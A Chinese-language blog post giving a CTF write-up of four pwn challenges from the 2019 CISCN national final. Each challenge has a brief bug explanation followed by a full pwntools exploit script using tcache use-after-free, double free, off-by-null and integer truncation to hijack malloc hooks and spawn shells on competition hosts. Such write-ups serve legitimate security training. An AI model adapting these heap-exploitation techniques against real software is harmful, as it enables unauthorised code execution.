Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

2019全国大学生信息安全竞赛(CISCN)总决赛Pwn WriteUp

2019国赛总决赛部分Pwn WriteUp。

C05

程序一开始打开了flag文件并重定向到了666,在退出函数中,又莫名其妙地可以通过scanf输入。将这两点联系起来就想到了将stdinfd改为666,使得scanf时操作flag文件的结构体。通过gdb强行修改stdout结构体中的_fileno进行尝试,验证成功。

剩下的部分就是常规的tcacheUse After Free了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *


def input_int(p, num):
p.sendlineafter('> ', '1')
p.sendlineafter('>', '1')
p.sendlineafter('your inode number:', str(num))

def input_short(p, num):
p.sendlineafter('> ', '1')
p.sendlineafter('>', '2')
p.sendlineafter('your inode number:', str(num))

def remove_int(p):
p.sendlineafter('> ', '2')
p.sendlineafter('>', '1')

def remove_short(p):
p.sendlineafter('> ', '2')
p.sendlineafter('>', '2')

def show_int(p):
p.sendlineafter('> ', '3')
p.sendlineafter('>', '1')

def show_short(p):
p.sendlineafter('> ', '3')
p.sendlineafter('>', '2')


def pwn():
DEBUG = 0

if DEBUG == 1:
p = process('./inode_heap')
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
else:
p = remote('172.16.9.21', 9005)
context.log_level = 'debug'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
input_int(p, 0)
remove_int(p)
input_short(p, 0)
remove_int(p)
input_short(p, 0)
input_short(p, 0)
input_short(p, 0)

show_int(p)
p.recvuntil('your int type inode number :')
recv = p.recvuntil('\n',drop=True)
heap_addr = int(recv)
if heap_addr < 0x100000000:
heap_addr = 0x100000000 + heap_addr
input_int(p, heap_addr + 0x80)
input_int(p, 0)
input_int(p, 0x91)


input_int(p, 0)
input_int(p, 0)
input_int(p, 0x21)

for i in range(7):
remove_short(p)
input_int(p, 0)
remove_short(p)
show_short(p)

p.recvuntil('your short type inode number :')
recv = int(p.recvuntil('\n'))
if recv < 0:
recv = 0x10000 + recv

input_short(p, recv - 0x2a0 + 112 - 8)
input_short(p, 0x0)
input_short(p, 0x0)

input_short(p, 0x0)
input_short(p, 0x0)
remove_short(p)
input_int(p, 0)
remove_short(p)
input_short(p, (heap_addr & 0xffff) + (0x2f0-0x260))
input_short(p, 0x0)
input_short(p, 0x0)
p.sendlineafter('> ', '1')
p.sendlineafter('>', '2')
p.sendlineafter('your inode number:', '666')

print hex(heap_addr)
print hex(recv)
if DEBUG == 1:
gdb.attach(p)

p.interactive()


if __name__ == '__main__':
pwn()

C06

常规的没有输出需要通过修改stdout来泄漏glibc地址的题目,程序本身提供了heap地址,所以对于tcacheDouble Free也好利用很多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *


def add(p, idx, size, content):
p.sendlineafter('choice > ', '1')
p.sendlineafter('input the index\n', str(idx))
p.sendlineafter('input the size\n', str(size))
p.sendafter('now you can write something\n', content)
p.recvuntil('gift :')
recv = p.recvuntil('\n1. add', drop=True)
return recv


def delete(p, idx):
p.sendlineafter('choice > ', '2')
p.sendlineafter('input the index\n', str(idx))


def pwn():
DEBUG = 0

if DEBUG == 1:
p = process('./pwn')
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
else:
p = remote('172.16.9.21', 9006)
context.log_level = 'debug'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

heap_addr = add(p, 0, 0x78, 'sunichi')
heap_addr = int(heap_addr, 16)
add(p, 1, 0x78, 'sunichi')
add(p, 2, 0x78, 'sunichi')
#add(p, 3, 0x78, 'sunichi')
delete(p, 0)
delete(p, 0)
add(p, 4, 0x78, p64(heap_addr + 0x70))
add(p, 5, 0x78, 'sunichi')
add(p, 6, 0x78, p64(0) + p64(0x101))
add(p, 7, 0x30, '0x30')
#add(p, 8, 0x40, '0x40')
#add(p, 9, 0x50, '0x50')
add(p, 10, 0x60, '0x60')
add(p, 11, 0x20, 'sunichi')

for i in range(8):
delete(p, 1)

delete(p, 11)
delete(p, 11)
add(p, 12, 0x20, p64(heap_addr + 0x80))
add(p, 13, 0x20, '/bin/sh\x00')
add(p, 14, 0x20, '\x60\x77')

delete(p, 10)
delete(p, 10)

add(p, 15, 0x60, p64(heap_addr + 0x80))
add(p, 16, 0x60, 'sunichi')
add(p, 17, 0x60, 'sunichi')
p.sendlineafter('choice > ', '1')
p.sendlineafter('input the index\n', str(18))
p.sendlineafter('input the size\n', str(0x60))
p.sendafter('now you can write something\n', p64(0xfbad1800) + p64(0) * 3 + '\x00')
sleep(0.5)
recv = p.recv(8)
recv = p.recv(8)
libc.address = u64(recv) - (0x7ffff7a488b0 - 0x00007ffff765b000)
print hex(libc.address)
delete(p, 7)
delete(p, 7)
add(p, 3, 0x30, p64(libc.symbols['__free_hook']))
add(p, 8, 0x30, '/bin/sh\x00')
add(p, 9, 0x30, p64(libc.symbols['system']))
delete(p, 8)

print hex(libc.address)

if DEBUG == 1:
gdb.attach(p)

p.interactive()


if __name__ == '__main__':
pwn()

C10

迷宫部分是Sissel大佬写的代码,走完迷宫后会提供glibc地址。后续就是常规的off by null的利用,就是程序申请的chunk较多,需要排列好被利用的chunk的顺序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
# coding:utf-8
from pwn import *

def up(location):
#横坐标为0,无法再向上走
if location[1] == 0:
return False
else:
new_location = [location[0],location[1]-1]
#已经尝试过的点不会尝试第二次
if new_location in route_history:
return False
#碰到墙不走
elif source[new_location[0]][new_location[1]] == 1:
return False
else:
route_stack.append(new_location)
route_history.append(new_location)
return True

def down(location):
if location[1] == 41:
return False
else:
new_location = [location[0],location[1]+1]
if new_location in route_history:
return False
elif source[new_location[0]][new_location[1]] == 1:
return False
else:
route_stack.append(new_location)
route_history.append(new_location)
return True

def left(location):
if location[0] == 0:
return False
else:
new_location = [location[0]-1,location[1]]
if new_location in route_history:
return False
elif source[new_location[0]][new_location[1]] == 1:
return False
else:
route_stack.append(new_location)
route_history.append(new_location)
return True

def right(location):
if location[0] == 41:
return False
else:
new_location = [location[0]+1,location[1]]
if new_location in route_history:
return False
elif source[new_location[0]][new_location[1]] == 1:
return False
else:
route_stack.append(new_location)
route_history.append(new_location)
return True
lo = [0,0]
route_stack = [[0,0]]
ans_stack = []
route_history = [[0,0]]
source = []

def start(p, name, ops):
p.sendlineafter('> ', '1')
p.sendafter('what\'s your name?\n', name)
p.sendlineafter('input you ops count\n', str(len(ops)))
p.sendafter('ops: ', ops)


def store(p, idx, ifComment, size, comment):
p.sendlineafter('> ', '3')
p.sendafter('any comment?\n', ifComment)
p.sendlineafter('comment size?\n', str(size))
p.sendafter('plz input comment\n', comment)


def delete(p, idx):
p.sendlineafter('> ', '4')
p.sendlineafter('index?\n', str(idx))


def pwn():
global lo
global route_stack
global ans_stack
global route_history
global source

DEBUG = 0

if DEBUG == 1:
p = process('./maze')
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
else:
p = remote('172.16.9.22', 9010)
context.log_level = 'debug'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil('> ')
p.sendline('9')
a = p.recvuntil('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
a = p.recvuntil('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
game = a.split('\n')[1:]


for op in game:
tmp = []
for ch in op[1:]:
tmp.append(0 if ch == ' ' else 1)
source += [tmp]

while route_stack[-1] != [39,40]:
if up(lo):
lo = route_stack[-1]
ans_stack.append('a')
continue
if down(lo):
lo = route_stack[-1]
ans_stack.append('d')
continue
if left(lo):
lo = route_stack[-1]
ans_stack.append('w')
continue
if right(lo):
lo = route_stack[-1]
ans_stack.append('s')
continue
#print route_stack
route_stack.pop()
ans_stack.pop()
lo = route_stack[-1]

result = ''
for op in ans_stack:
result += op
result += 'dd'
print result
a = p.recvuntil('> ')
print a
a = p.sendline('1')
a = p.recvuntil('name?\n')
p.sendline('sissel')
a = p.recvuntil('put you ops count\n')
p.sendline(str(len(result)))
a = p.recvuntil('ops: ')
print a
p.sendline(result)
p.recvuntil('Here\'s the award:')
recv = p.recvuntil('\n0. resume', drop=True)
libc.address = int(recv, 16) - libc.symbols['malloc']
print hex(libc.address)
p.sendline('0')

start(p, 'sunichi\n', 'wwww\n')
store(p, 0, 'y', 0x20, 'sunichi\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 1, 'y', 0x20, 'sunichi\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 2, 'y', 0x20, 'sunichi\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 3, 'y', 0x20, 'sunichi\n')

delete(p, 0)
delete(p, 1)
delete(p, 2)
delete(p, 3)

start(p, 'sunichi\n', 'wwww\n')
store(p, 0, 'y', 0xe0, 'sunichi\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 1, 'y', 0x68, 'sunichi\n')
start(p, 'sunichi\n', 'wwww\n')

store(p, 2, 'y', 0xf8, 'sunichi\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 3, 'y', 0x40, 'sunichi\n')

delete(p, 0)
delete(p, 1)
delete(p, 2)

start(p, 'sunichi\n', 'wwww\n')

store(p, 0, 'y', 0x68, '\x00' * 0x60 + p64(0x160))

start(p, 'sunichi\n', 'wwww\n')
store(p, 1, 'y', 0xf8, 'sunichi\n')

delete(p, 1)
start(p, 'sunichi\n', 'wwww\n')
store(p, 1, 'y', 0xe0, 'sunichi\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 2, 'y', 0x68, 'double\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 3, 'y', 0x68, 'double\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 4, 'y', 0x68, 'double\n')
delete(p, 0)
delete(p, 4)
delete(p, 2)
delete(p, 3)

start(p, 'sunichi\n', 'wwww\n')
store(p, 2, 'y', 0x68, p64(libc.symbols['__malloc_hook'] - 0x13) + '\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 3, 'y', 0x68, 'double\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 4, 'y', 0x68, 'double\n')
start(p, 'sunichi\n', 'wwww\n')
store(p, 5, 'y', 0x68, '\x01' * 3 + p64(libc.address + 0xf02a4) + '\n')
delete(p, 2)
delete(p, 4)

print hex(libc.address)

if DEBUG == 1:
gdb.attach(p)
p.interactive()


if __name__ == '__main__':
pwn()

C17

首先有个标记(称其为id)必须进行绕过,由于scanf("%d", &id)赋值时是int类型,后续检查这个id的函数将其转换为了int16类型,导致诸如-256*256*256这样的数字能够绕过检查。利用的部分就是通过Use After Free修改关键字符串进入执行shellcode的逻辑。shellcode由用户输入的变换产生,稍微看下就能知道其逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *


def add(p, size, content):
p.sendlineafter('> ', str(1))
p.sendlineafter('> ', str(size))
p.sendafter('> ', content)


def delete(p):
p.sendlineafter('> ', str(2))



def pwn():
DEBUG = 0
if DEBUG == 1:
p = process('./pwn')
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
else:
p = remote('172.16.9.24', 9017)
context.log_level = 'debug'

context.arch = 'amd64'
context.os = 'linux'

p.sendlineafter('> ', 'sunichi')
p.sendlineafter('> ', str(-256*256*256))

add(p, 0x68, 'sunichi')
delete(p)
delete(p)

add(p, 0x68, '\x90')
add(p, 0x68, 'sunichi')
add(p, 0x68, 'The cake is a lie!\x00')

if DEBUG == 1:
gdb.attach(p)

shellcode = asm(shellcraft.sh())

count = len(shellcode)
newshellcode = '\x00'
while count != 0:
newshellcode += chr(ord(newshellcode[len(newshellcode) - 1]) ^ ord(shellcode[count - 1]))
count = count - 1

p.sendlineafter('> ', '666')
p.sendafter('> ', newshellcode[::-1])

p.interactive()
p.close()


if __name__ == '__main__':
pwn()